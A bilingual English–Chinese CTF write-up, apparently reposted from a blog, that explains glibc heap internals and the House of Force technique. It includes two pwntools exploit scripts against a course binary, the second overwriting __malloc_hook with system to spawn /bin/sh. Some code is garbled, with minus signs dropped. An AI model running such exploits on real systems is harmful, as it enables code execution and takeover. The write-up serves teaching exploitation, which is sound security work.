Heap – House Of Force

Heap - House Of Force

Introduction 介绍
I’m launching a series on heap exploitation techniques, starting with glibc ptmalloc Linux OS based. As we progress, I’ll be sharing my discoveries and insights. It’s worth noting that I won’t dive into explaining the exploitation process until we’ve covered all the necessary heap concepts and terminologies that will be crucial throughout the exploitation journey. Our starting point is the ‘House of Force‘ technique, which belongs to the ‘House Of XXX’ series. The term ‘House Of XXX’ encompasses a collection of exploit techniques designed for glibc vulnerabilities, originally introduced in the article ‘The Malloc Maleficarum – Glibc Malloc Exploitation Techniques‘ in 2004.
我正在推出一系列关于堆开发技术的文章,从基于 glibc ptmalloc Linux OS 开始。随着我们的进步,我将分享我的发现和见解。值得注意的是,在我们涵盖了所有必要的堆概念和术语之前,我不会深入解释开发过程,这些概念和术语在整个开发过程中至关重要。我们的出发点是“力量之家”技术,它属于“XXX之家”系列。术语“House Of XXX”包含一系列专为glibc漏洞设计的漏洞利用技术,最初在2004年的“The Malloc Maleficarum – Glibc Malloc Exploitation Techniques”一文中介绍。
Heap 
The heap in C and C++ is where programmers reserve memory for their programs while they run. They do this by asking the heap manager to provide memory space using functions like malloc. Once they have this memory, they can use it, change it, or refer to it. When they’re done, they return it to the heap manager using the free function.
C 和 C++ 中的堆是程序员在运行时为其程序保留内存的地方。他们通过要求堆管理器使用 malloc 等函数提供内存空间来实现这一点。一旦他们有了这个记忆,他们就可以使用它,改变它,或者参考它。完成后,他们使用 free 函数将其返回到堆管理器。
In malloc.c of glibc, the description of malloc is as follows:
在glibc的malloc.c中,malloc的描述如下:
/*
malloc(size_t n)
Returns a pointer to a newly allocated chunk of at least n bytes, or null
if no space is available. Additionally, on failure, errno is
set to ENOMEM on ANSI C systems.
If n is zero, malloc returns a minumum-sized chunk. (The minimum
size is 16 bytes on most 32bit systems, and 24 or 32 bytes on 64bit
systems.) On most systems, size_t is an unsigned type, so calls
with negative arguments are interpreted as requests for huge amounts
of space, which will often fail. The maximum supported value of n
differs across systems, but is in all cases less than the maximum
representable value of a size_t.
*/
As can be seen, the malloc function returns a pointer to a memory block of corresponding size bytes. In addition, this function also handles some exceptions
可以看出,malloc 函数返回一个指向相应大小字节的内存块的指针。此外,此函数还处理一些异常
  • When n is set to 0, it will return the smallest available memory block on the system. As a point of interest, on a Linux x64 system, this smallest requested memory block is typically 24 bytes (I’ll demonstrate this during debugging )
    当 n 设置为 0 时,它将返回系统上最小的可用内存块。有趣的是,在 Linux x64 系统上,这个最小的请求内存块通常为 24 字节(我将在调试期间演示这一点)
  • If n is a negative number, it’s essential to note that size_t is an unsigned type on most systems. Consequently, the program will request a significant amount of memory, but it will likely fail because the system cannot allocate that much memory.
    如果 n 是负数,则必须注意 size_t 在大多数系统上是无符号类型。因此,程序将请求大量内存,但它可能会失败,因为系统无法分配那么多内存。
The system calls behind malloc and free functions are mainly (s)brk function and the mmap and munmap functions.
malloc 和自由函数后面的系统调用主要是 (s)brk 函数以及 mmap 和 munmap 函数。
In other word Heap is a contiguous region of memory that is subdivided into chunks to be allocated. Each heap belongs to exactly one arena.
换句话说,堆是一个连续的内存区域,它被细分为要分配的块。每个堆只属于一个竞技场。
Arena 竞技场
This is a heap area that helps each thread access different memory areas without interfering with each other.
这是一个堆区域,可帮助每个线程访问不同的内存区域,而不会相互干扰。
In the case of a single-threaded process, it has one Arena, but in the case of a multi-threaded process, it has more than one Arena, so each thread existing in different Arenas can perform heap work without stopping.
在单线程进程的情况下,它有一个 Arena,但在多线程进程的情况下,它有多个 Arena,因此存在于不同 Arenas 中的每个线程都可以在不停止的情况下执行堆工作。
Then, you may think that each thread has its own Arena, but this is a wrong idea. If each arena is assigned to each thread, resource depletion will be severe, so the number of arenas is limited depending on the 32-bit or 64-bit system and the number of cores in the system.
然后,您可能会认为每个线程都有自己的竞技场,但这是一个错误的想法。如果将每个竞技场分配给每个线程,则资源消耗将非常严重,因此竞技场的数量会受到限制,具体取决于 32 位或 64 位系统以及系统中的内核数。
Heap - House Of Force
https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L1727
https://github.com/iromise/glibc/blob/master/malloc/malloc.c#L1727
If a new thread is created, it finds an Arena that is not in use by other threads and connects an Arena to that thread.
如果创建了一个新线程,它会找到一个未被其他线程使用的竞技场,并将一个竞技场连接到该线程。
If all available Arenas are being used by other threads, a new Arena is created, and when the limited number of Arenas is reached, multiple threads connect to one Arena. It will be shared on Arena.
如果其他线程正在使用所有可用的竞技场,则会创建一个新的竞技场,当达到有限数量的竞技场时,多个线程将连接到一个竞技场。它将在竞技场上共享。
Types of Arena 竞技场的类型
Arena is largely divided into :
竞技场主要分为:
  • Main Arena 主竞技场
Because it was created as the main thread, it is called Main Arena. Exists for single-threaded programs and requires heap operations such as malloc().
因为它是作为主线创建的,所以它被称为主竞技场。存在于单线程程序中,需要堆操作,例如 malloc()。
When a dynamic allocation request that Main Arena can handle comes in, the heap segment is expanded through sbrk() .
当主竞技场可以处理的动态分配请求进来时,堆段通过 sbrk() 进行扩展。
  • Sub Arena 子竞技场
This is called Sub Arena, and unlike the Main Arena that uses sbrk, it is allocated to new heap memory through mmap() and expanded using mprotect() .
这被称为Sub Arena,与使用sbrk的主竞技场不同,它通过mmap()分配给新的堆内存,并使用mprotect()进行扩展。
Practice Code  实践守则
(For this post, I’ll cover only the first type. The second type will be discussed in a separate blog. )
(在这篇文章中,我将只介绍第一种类型。第二种类型将在单独的博客中讨论。)
Heap - House Of Force
  • main function – before calling malloc function
    主函数 – 在调用 malloc 函数之前
Heap - House Of Force
The Arena is the Main Arena, which is created by the main thread and exists by default without heap operations such as malloc and since Sub Arena does not exist, the next Arena points to itself.
竞技场是主竞技场,由主线程创建,默认情况下不存在诸如 malloc 之类的堆操作,并且由于子竞技场不存在,因此下一个竞技场指向自身。
Heap - House Of Force
You can see that Main Arena does not exist in the heap, but exists in the data segment of libc-2.28.so. Also, you can see that the heap area has not been allocated yet.
您可以看到主竞技场不存在于堆中,而是存在于 libc-2.28.so 的数据段中。此外,您可以看到堆区域尚未分配。
  • main function – call malloc function
    主函数 – 调用马洛克函数
Let’s put a catchpoint in brk and mmap syscalls right before calling the malloc function in the main function and continue the flow of execution .
让我们在 brk 和 mmap 系统调用中放置一个捕获点,然后再在 main 函数中调用 malloc 函数并继续执行流程。
Heap - House Of Force
You can see that the syscall brk is used to extend the heap area:
您可以看到系统调用 brk 用于扩展堆区域:
Heap - House Of Force
Heap area added after malloc:
在 malloc 之后添加的堆区域:
Heap - House Of Force
You can see that the value of the malloc_state structure in Main Arena has changed:
您可以看到主竞技场中malloc_state结构的值已更改:
Heap - House Of Force
Chunks 
A chunk of memory is a small space owned by the application. It can be released when not in use or merged with adjacent chunks to form larger memory areas. Think of a chunk as a container for the allocated memory.
内存块是应用程序拥有的一个小空间。它可以在不使用时释放或与相邻块合并以形成更大的内存区域。将块视为已分配内存的容器。
Heap - House Of Force
In the heap, chunks come in two distinct states: ‘in-use‘ and ‘free.’ It’s important to note that I’ll be concentrating on the ‘in-use’ type, as the ‘House of Force’ exploitation technique used on this particular state.
在堆中,块有两种不同的状态:“使用中”和“免费”。重要的是要注意,我将专注于“使用中”类型,作为在此特定状态上使用的“House of Force”开发技术。
Heap - House Of Force
An ‘in-use’ chunk is composed of three elements:
“使用中”块由三个元素组成:
  • The previous chunk size ,
    之前的块大小,
  • The chunk size (8 bytes on 64-bit systems) + the AMP flag (3 bits),
    区块大小(64 位系统上为 8 个字节)+ AMP 标志(3 位),
  • The user data. 用户数据。
On 64-bit machines, user data is padded to align with 16 bytes. This alignment ensures that the last three bits of the user data size, when expressed in hexadecimal format, are always zero. This alignment provides us with an opportunity to utilize these last three bits as flags.
在 64 位计算机上,填充用户数据以与 16 个字节对齐。这种对齐方式可确保用户数据大小的最后三位(以十六进制格式表示时)始终为零。这种对齐方式为我们提供了将最后三位用作标志的机会。
Now, it’s time to put this into practice using GDB, and for this demonstration, I’ll be working with a binary from the HeapLAB repository:
现在,是时候使用 GDB 将其付诸实践了,对于此演示,我将使用 HeapLAB 存储库中的二进制文件:
To avoid GDB from displaying the entire program information upon each run, I’ll utilize set context-sections code to print just the relevant source code part. Then, I’ll use the context command to view the source code as needed.
为了避免 GDB 在每次运行时显示整个程序信息,我将利用 set context-sections code 它只打印相关的源代码部分。然后,我将根据需要 context 使用该命令查看源代码。
Heap - House Of Force
The primary function of this program is to call malloc multiple times and then return.
该程序的主要功能是多次调用malloc,然后返回。
Using vmmap, I can visualize the current memory layout of the process. When ‘malloc’ hasn’t been executed yet, there is no heap area in the program’s memory space.”
使用 vmmap ,我可以可视化进程的当前内存布局。当’malloc’尚未执行时,程序的内存空间中没有堆区域。
Heap - House Of Force
Once the first malloc is executed, checking vmmap will reveal an additional heap space with the size 21000 bytes.
执行第一个 malloc 后,检查 vmmap 将显示大小为 21000 字节的额外堆空间。
Heap - House Of Force
Next, let’s examine the distribution of chunks within the heap by using the pwndbg command vis_heap_chunk, which is abbreviated as vis
接下来,让我们使用 pwndbg 命令检查堆内块的分布,该命令 vis_heap_chunk 缩写为 vis
Heap - House Of Force
Let’s break it down: you can see the first chunk requested. As mentioned before, metadata is stored inline – The heap does not store user data alone.
让我们分解一下:您可以看到请求的第一个块。如前所述,元数据以内联方式存储 – 堆不单独存储用户数据。
Whilst programs deal with pointers to chunk user data, malloc considers chunks to start 8 bytes before their size field.
虽然程序处理指向分块用户数据的指针,但 malloc 认为块在其大小字段之前以 8 个字节开头。
Heap - House Of Force
Heap - House Of Force
The size field value 0x0000000000000021 indicate the amount of user data it has in bytes, plus the number of bytes taken up by the size field itself. A chunk’s size field is 8 bytes long, so a chunk with 24 bytes of user data has a size field that holds the value 0x20, or 32 in decimal. The minimum usable chunk size is 0x20 (24 bytes of user data + 8 bytes of chunk’s size field) .
size 字段值0x0000000000000021指示它拥有的用户数据量(以字节为单位),加上大小字段本身占用的字节数。区块的大小字段长度为 8 个字节,因此包含 24 字节用户数据的区块具有保存值 0x20 或十进制值 32 的大小字段。最小可用区块大小为 0x20(24 字节的用户数据 + 8 字节的区块大小字段)。
I know that the code calls malloc(9), requesting 9 bytes, but it actually allocates 3 * 8 = 24 bytes of space. In this case, malloc(9) reserves 24 bytes for user data and an additional 8 bytes for the chunk size, resulting in a total of 32 bytes for this chunk.
我知道代码调用 malloc(9) ,请求 9 个字节,但它实际上分配了 3 * 8 = 24 字节的空间。在本例中,为用户数据保留 24 个字节,为区块大小保留 8 个字节, malloc(9) 因此此区块总共保留 32 个字节。
Now the big question why the size fied hold 0x21 not 0x20 ?
现在最大的问题是为什么尺寸保持不变0x21不0x20?
Chunk sizes increase in 16-byte increments. For example, the next size up from a 0x20 chunk is a 0x30 chunk, and so on as demonstrated below:
区块大小以 16 字节为增量增加。例如,从0x20块向上的下一个大小是0x30块,依此类推,如下所示:
Heap - House Of Force
As a result, the least-significant nybble (four bits) of a size field doesn’t represent the chunk size. Instead, it holds flags that signify the chunk’s state. These flags are stored from the least significant to the most significant positions.
因此,大小字段的最低有效位(四位)不表示块大小。相反,它包含表示块状态的标志。这些标志从最不重要到最重要的位置存储。
AMP flags AMP 标志
Heap - House Of Force
Example: the flag P is set when the previous chunk is still in use by the application. In this case, the prev_size field is not valid. For instance, as previously mentioned, a value like 0x21 is broken down into 0x20 for the chunk size and 0x01 for P, where 0x01 signifies that P is equal to 1.
示例:当应用程序仍在使用前一个块时,将设置标志 P。在这种情况下,该 prev_size 字段无效。例如,如前所述,像 0x21 这样的值被分解为块大小的0x20和 P 的0x01,其中 0x01 表示 P 等于 1。
Until now, several chunks were allocated by malloc(9), malloc(1), malloc(0), malloc(24)respectively, you can see that the contents are actually the same and occupy 0x20 bytes:
到目前为止,分别由 malloc(9) malloc(1)malloc(0) 分配 malloc(24) 了几个块,您可以看到内容实际上是相同的,并且占用了0x20字节:
Heap - House Of Force
If the execution continues below, malloc(25)a 0x30 space will be allocated.
如果在下面继续执行, malloc(25) 将分配一个0x30空间。
When malloc allocates 25 bytes, 8 bytes + (24 +16) bytes will be allocated. Because 25 > 24, 0x10 more space must be added.
当 malloc 分配 25 个字节时,将分配 8 个字节 + (24 +16) 个字节。由于 25 > 24,因此必须添加0x10更多空间。
Heap - House Of Force
Top chunk 顶部块
The Top chunk is the final chunk within an Arena. When you allocate it using malloc, it’s separated from the ‘top chunk’ and used. If a chunk next to the ‘top chunk’ is freed, it gets merged back into the ‘top chunk
这是 Top chunk 竞技场内的最后一个区块。当您使用 malloc 分配它时,它会与“顶部块”分开并使用。如果“顶部块”旁边的块被释放,它将合并回“顶部块”
If a size larger than the top chunk is requested, Main Arena: Call sbrk() to expand memory to increase the size of the Top chunk.
如果请求的大小大于顶部块,主竞技场:调用 sbrk() 来扩展内存以增加顶部块的大小。
Debugging 调试
  • Right before calling malloc, as depicted below the Top chunk does not exist
    在调用 malloc 之前,如下所述 Top 块不存在
Heap - House Of Force
  • Immediately after calling the first malloc()
    在调用第一个 malloc() 后立即
Heap - House Of Force
The address of the top chunk is 0x602020 and the size value is 0x20fe0.
顶部块的地址0x602020,大小值0x20fe0。
This means that the original size of the top chunk is 0x21000, but when a memory allocation request for 9 bytes (it will request the minimum size which is 24 bytes), it is subtracted from the top chunk, and a chunk of 0x20 is created, and the remainder 0x20fe0(0x21000 – 0x20), is left.
这意味着顶部块的原始大小是0x21000,但是当 9 字节的内存分配请求(它将请求最小大小为 24 字节)时,它会从顶部块中减去,并创建一个0x20块,剩下的0x20fe0(0x21000 – 0x20)被留下。
However, the value actually stored in the top chunk is 0x20fe1, but the last flag bit, 0x1, is set.
但是,实际存储在顶部块中的值是0x20fe1,但设置了最后一个标志位 0x1。
Heap - House Of Force
House Of Force 力量之家
Principle 原则
House Of Force is a heap exploitation method, but it does not mean that House Of Force must be exploited based on heap vulnerabilities. If a heap based vulnerability is to be exploited through the House Of Force method, the following conditions are required:
House Of Force 是一种堆利用方法,但这并不意味着必须根据堆漏洞来利用 House Of Force。如果要通过 House Of Force 方法利用基于堆的漏洞,则需要满足以下条件:
  • 1.

    Able to control the size domain of the top chunk through overflow and other methods.
    能够通过溢出等方式控制顶部块的大小域。
  • 2.

    Able to freely control the size of the heap allocation size.
    能够自由控制堆分配大小的大小。
The reason House Of Force occurs is because memory allocation is handled by Top Chunk when glibc requests malloc.
House Of Force 发生的原因是,当 glibc 请求 malloc 时,内存分配由 Top Chunk 处理。
If the size of the top chunk can be abused and overwritten with another value (usually -1) and a malloc request of the desired size can be made, the attacker can move the top chunk to a desired location.
如果顶部块的大小可以被滥用并用另一个值(通常为 -1)覆盖,并且可以发出所需大小的 malloc 请求,则攻击者可以将顶部块移动到所需位置。
Binary Walkthrough 二进制演练
The binary I’ll work with is named house_of_force, which was provided as part of the ‘Linux Heap Exploitation – Part 1‘ course, generously offered by the fantastic instructor Max Kamper.
我将使用的二进制文件名为 house_of_force ,它是作为“Linux 堆开发 – 第 1 部分”课程的一部分提供的,由出色的讲师 Max Kamper 慷慨提供。
Basic information 基本信息
Heap - House Of Force
Debugging 调试
The binary resembles the kind of pwn challenges often seen in CTFs:
二进制文件类似于 CTF 中常见的 pwn 挑战:
Heap - House Of Force
To aid in understanding the vulnerability, the program leak the addresses of both puts and the heap’s starting address before execution thus we don’t need to worry about bypassing mitigation techniques.
为了帮助理解漏洞,程序在执行之前泄漏了放置地址和堆的起始地址,因此我们无需担心绕过缓解技术。
Option 1) is malloc, you can then enter the size you want to apply for and what you want to enter, for example, I applied for 1 above, but entered the string “AAAAAAAAAAAAAAAAAAAAAAAASMASHEAP” so like I’ve been doing for so long, let’s inspect the heap chunks :
选项 1) 是 malloc,然后您可以输入要申请的大小和要输入的内容,例如,我在上面申请了 1,但输入了字符串“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Heap - House Of Force
Exactly as expected, initially 24 bytes was allocated but overwriting the top chunk size field with an arbitrary value of 8 bytes.
正如预期的那样,最初分配了 24 个字节,但用 8 个字节的任意值覆盖了顶部块大小字段。
Now, House of Force is possible because this malloc implementation doesn’t check for invalid top_chunk size. I can overwrite the top chunk size to something so large that it will span the entire address space !!!
现在,House of Force 是可能的,因为此 malloc 实现不会检查无效的top_chunk大小。我可以将顶部块大小覆盖为如此之大的大小,以至于它将跨越整个地址空间!!
The goal of this challenge is to overwrite the value of the ‘target’ variable and perform code execution using the ‘House of Force’ (HOF) primitive .
此挑战的目标是覆盖“目标”变量的值,并使用“力之屋”(HOF) 原语执行代码。
Goal one : Overwrite the value the variable ‘target’
目标一:覆盖变量“目标”的值
In GDB, let’s examine the address of target :
在 GDB 中,让我们检查以下地址 target
Heap - House Of Force
The starting address of the heap is 0x603000, but you can see that the target address is actually above the heap 0x602010:
堆的起始地址是0x603000,但您可以看到目标地址实际上位于堆0x602010上方:
Heap - House Of Force
The million-dollar question is how to overwrite the target variable?
百万美元的问题是如何覆盖 target 变量?
The size of the top chunk changes continuously with the allocation and recycling of memory. If memory is allocated from the top chunk, the top chunk will decrease and the pointer of the top chunk will increase.
顶部块的大小随着内存的分配和回收而不断变化。如果从顶部块分配内存,则顶部块将减少,顶部块的指针将增加。
The code for allocating memory from the top chunk in glibc is as follows:
在 glibc 中从顶部块分配内存的代码如下:
  • 1.

    It checks whether the size of the top chunk can meet the allocation requirements.
    它检查顶部块的大小是否可以满足分配要求。
  • 2.

    It ensures that the remaining size after allocation cannot be less than the minimum chunk size (MINSIZE). If this condition is met, allocation is performed.
    它确保分配后的剩余大小不能小于最小块大小 (MINSIZE)。如果满足此条件,则执行分配。
  • 3.

    After allocating memory, the size field of the top chunk needs to be updated to size – nb (nb is the size of the newly allocated chunk), and the top chunk ptr is updated to ptr + nb. (ptr -> p)
    分配内存后,顶部块的大小字段需要更新为 size – nb(nb 是新分配的块的大小),顶部块 ptr 更新为 ptr + nb。(PTR -> p)
// Some code /* finally, do the allocation */
p = av->top;
size = chunksize (p);
/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size nb; // Update the size of top chunk
remainder = chunk_at_offset (p, nb); // Update the ptr of top chunk
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p); // Return the newly allocated memory address
}
/* catch all failure paths */
__set_errno (ENOMEM);
return 0;
}
Allocate a large memory in the top chunk to the newly applied chunk, so that an integer overflow occurs when updating the ptr of the top chunk, thereby controlling the top chunk ptr to the specified target memory address, such as the .bss segment, .data segment, and stack, etc. . When malloc is used to apply for memory again, the target memory address will be returned. After writing to the memory, data can be written to any address.
将顶部块中的大内存分配给新应用的块,以便在更新顶部块的 ptr 时发生整数溢出,从而将顶部块 ptr 控制到指定的目标内存地址,例如 .bss 段、.data 段和堆栈等。当再次使用 malloc 申请内存时,将返回目标内存地址。写入存储器后,数据可以写入任何地址。
First malloc : modify the size of top chunk to a large number
第一个malloc:将顶部块的大小修改为大量
From the above analysis, we can know that the following conditions need to be met to allocate memory in the top chunk.
从上面的分析中,我们可以知道,在顶部块中分配内存需要满足以下条件。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
Since the size of the arena is 132KB, the size of the top chunk is not larger than 132KB (0x21000 bytes). Therefore, the heap allocated through the top chunk cannot exceed 0x21000 bytes under normal circumstances, which results in integer overflow occurring when the ptr of the top chunk is updated. To do this, I need to first use the heap overflow vulnerability to modify the size of the top chunk to a large number, usually -1 (its complement is 0xFFFFFFFFFFFFFFFF) using the first malloc. Then you can apply for a large memory through the top chunk to trigger an integer overflow.
由于竞技场的大小为 132KB,因此顶部块的大小不大于 132KB(0x21000 字节)。因此,通过顶部块分配的堆在正常情况下不能超过 0x21000 字节,这会导致在更新顶部块的 ptr 时发生整数溢出。为此,我需要首先利用堆溢出漏洞将顶部块的大小修改为大数字,通常使用第一个 malloc -1(其补码为 0xFFFFFFFFFFFFFFFF)。然后可以通过顶部块申请大内存来触发整数溢出。
Heap - House Of Force
Second malloc : malloc a large memory to control the top chunk ptr
第二个malloc:malloc一个大内存来控制顶部块ptr
Suppose the user’s memory request size is request_size during this step, with the goal of controlling the final memory address target. Initially, the ptr value of the top chunk is top_old, and after allocating a new chunk, it becomes top_new.
假设用户的内存请求大小在 request_size 此步骤中,目标是控制最终内存地址 target 。最初, ptr 顶部块的值为 top_old ,在分配新块后,它变为 top_new.
top_new = top_old + align(request_size+ SIZE_SZ) // SIZE_SZ is the size field length
target = top_new + 2 * SIZE_SZ // 2* SIZE_SZ is the length of prev_size and size fields
According to the above formula, we can get :
根据上面的公式,我们可以得到:
request_size = target – top_old – 2*SIZE_SZ – SIZE_SZ
Once the second malloc is executed, the ptr of the top chunk is updated to point to the memory address of target - 2 * SIZE_SZ. Essentially, the top chunk is moved to the target memory address. To calculate request_size, you need to know the ptr of top_old in the heap memory. This information is typically obtained through other vulnerabilities that allow you to leak the address of the top chunk in the heap.
执行第二个 malloc 块后,顶部块的 将更新为指向 ptrtarget - 2 * SIZE_SZ 内存地址。本质上,顶部块被移动到 target 内存地址。要计算 request_size ,您需要知道堆内存中的 ptr of top_old 。此信息通常是通过其他漏洞获得的,这些漏洞允许您泄漏堆中顶部块的地址。
Alternatively, you can designate a specific location in the heap memory as the target. In such cases, you can determine the address of the top chunk through local debugging. In this context, the request_size calculated using the formula mentioned remains applicable. This value remains relevant even if the heap’s base address changes.
或者,可以将堆内存中的特定位置指定为 target .在这种情况下,您可以通过本地调试确定顶部块的地址。在这种情况下,使用上述公式计算仍然 request_size 适用。即使堆的基址发生更改,此值也保持相关。
Heap - House Of Force
Third malloc : malloc again to return to the target memory
第三个 malloc :malloc 再次返回目标内存
In this scenario, the requested chunk will indeed be allocated from the target memory, ultimately returning it to the same target memory location. This allows you to write data into that memory, enabling further attacks and exploitation.
在这种情况下,请求的块确实将从内存中分配,最终将其返回到相同的 target target 内存位置。这允许您将数据写入该内存,从而进一步攻击和利用。
Heap - House Of Force
Goal one achieved 目标一已实现
Building upon the analysis I conducted earlier, I’ll utilize that understanding to create a Proof of Concept (PoC) that can effectively overwrite the target variable:
基于我之前执行的分析,我将利用这种理解来创建可以有效覆盖变量的概念 target 证明 (PoC):
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF(“house_of_force”)
libc = ELF(elf.runpath + b”/libc.so.6″)
gs = ”’
continue
”’
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Select the “malloc” option, send size & data.
def malloc(size, data):
io.send(b”1″)
io.sendafter(b”size: “, f”{size}.encode())
io.sendafter(b”data: “, data)
io.recvuntil(b”> “)
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil(b”puts() @ “)
libc.address = int(io.recvline(), 16) libc.sym.puts
# This binary leaks the heap start address.
io.recvuntil(b”heap @ “)
heap = int(io.recvline(), 16)
io.recvuntil(b”> “)
io.timeout = 0.1
# =============================================================================
# 1) First malloc : modify the size of top chunk to a large number
malloc(1, b”Y”*24 + p64(0xffffffffffffffff))
# 2) Second malloc : malloc a large memory to control the top chunk ptr
request_size = elf.sym.target (heap + 0x20) 2*8 8 # request_size = target – top_old – 2*SIZE_SZ – SIZE_SZ
malloc(request_size, “LOL”)
# 3) Third malloc : malloc again to return to the target memory
malloc(1,“THEBEST”)
# =============================================================================
io.interactive()
Inspecting the heap chunks after running the python script:
运行 python 脚本后检查堆块:
Heap - House Of Force
Heap - House Of Force
Excellent! The target variable has been successfully overwritten, marking a successful exploitation using the “House of Force” technique. Next, I will delve into an example involving real code execution using malloc hooks within the “House of Force” context.
非常好!该 target 变量已成功覆盖,标志着使用“力量之家”技术成功利用。接下来,我将深入研究一个示例,该示例涉及在“House of Force”上下文中使用钩子执行 malloc 实际代码。
Arbitrary code execution 任意代码执行
By manipulating the __malloc_hook address, which is invoked before malloc, and overwriting it with the address of the __ libc_system function that will allow me to get a shell :
通过操作之前 malloc 调用的 __malloc_hook 地址,并用 __ libc_system 允许我获得 shell 的函数地址覆盖它:
Heap - House Of Force
The same process used to overwrite target will be used to overwrite the address of __malloc_hook with the address of __ libc_system using HOF primitive.
用于覆盖 target 的相同过程将用于使用使用 HOF 原语的地址覆盖 的 __malloc_hook __ libc_system 地址。
Heap - House Of Force
Given that the system parameter is a reference to a string, it can be readily configured as “/bin/bash” while performing the step of “allocating a large memory to take control of the top chunk pointer.
鉴于该 system 参数是对字符串的引用,则在执行“分配大内存以控制顶部块指针”的步骤时,可以很容易地将其配置为“/bin/bash”。
Goal two achieved 目标二 实现
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF(“house_of_force”)
libc = ELF(elf.runpath + b”/libc.so.6″)
gs = ”’
continue
”’
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Select the “malloc” option, send size & data.
def malloc(size, data):
io.send(b”1″)
io.sendafter(b”size: “, f”{size}.encode())
io.sendafter(b”data: “, data)
io.recvuntil(b”> “)
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil(b”puts() @ “)
libc.address = int(io.recvline(), 16) libc.sym.puts
# This binary leaks the heap start address.
io.recvuntil(b”heap @ “)
heap = int(io.recvline(), 16)
io.recvuntil(b”> “)
io.timeout = 0.1
# =============================================================================
# 1) First malloc : modify the size of top chunk to a large number
malloc(1, b”Y”*24 + p64(0xffffffffffffffff))
# 2) Second malloc : malloc a large memory to control the top chunk ptr also to prepare the string “/bin/sh” as an argument for system
request_size = libc.sym.__malloc_hook (heap + 0x20) 2*8 8 # request_size = target – top_old – 2*SIZE_SZ – SIZE_SZ
malloc(request_size, “/bin/sh\0”)
# 3) Overwrite the adress of __malloc_hook with __libc_system
malloc(24, p64(libc.sym.system))
# 4) Trigger system function
malloc(heap + 0x30, “”)
# =============================================================================
io.interactive()
And there’s the shell :
还有外壳:
Heap - House Of Force
(Update 05/2019: Made a note that this method is now patched in glibc>=2.29)
(更新 05/2019:请注意,此方法现已在 glibc 中修补>=2.29)
Conclusion 结论
It’s true that the blog post was somewhat lengthy, but I wanted to share everything I’ve learned about the House Of Force primitive. While it’s a fundamental technique in heap exploitation, I firmly believe that the path to mastering any skill begins with grasping the theory and foundational concepts. Slowing down and delving deeply into a topic is essential for a solid understanding. So, always start with the basics, take the time to learn, and build your expertise step by step.
确实,这篇博文有点长,但我想分享我所学到的关于原力之家的所有东西。虽然这是堆开发的基本技术,但我坚信,掌握任何技能的道路始于掌握理论和基本概念。放慢脚步并深入研究一个主题对于扎实的理解至关重要。因此,请始终从基础知识开始,花时间学习,并逐步建立您的专业知识。
Final Note: I am not a Binary Exploitation expert I’m just a learner and still discovering this wonderful field, If you think I said anything incorrect anywhere, feel free to reach out to me and correct me, I would highly appreciate that. And finally, thank you very much for taking your time to read this post.
最后说明:我不是二进制开发专家,我只是一个学习者,仍在发现这个美妙的领域,如果您认为我在任何地方说了任何不正确的话,请随时与我联系并纠正我,我将不胜感激。最后,非常感谢您抽出宝贵时间阅读这篇文章。

 

原文始发于CSDN(0pr):Heap – House Of Force

版权声明:admin 发表于 2023年10月20日 上午9:05。
转载请注明:Heap – House Of Force | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...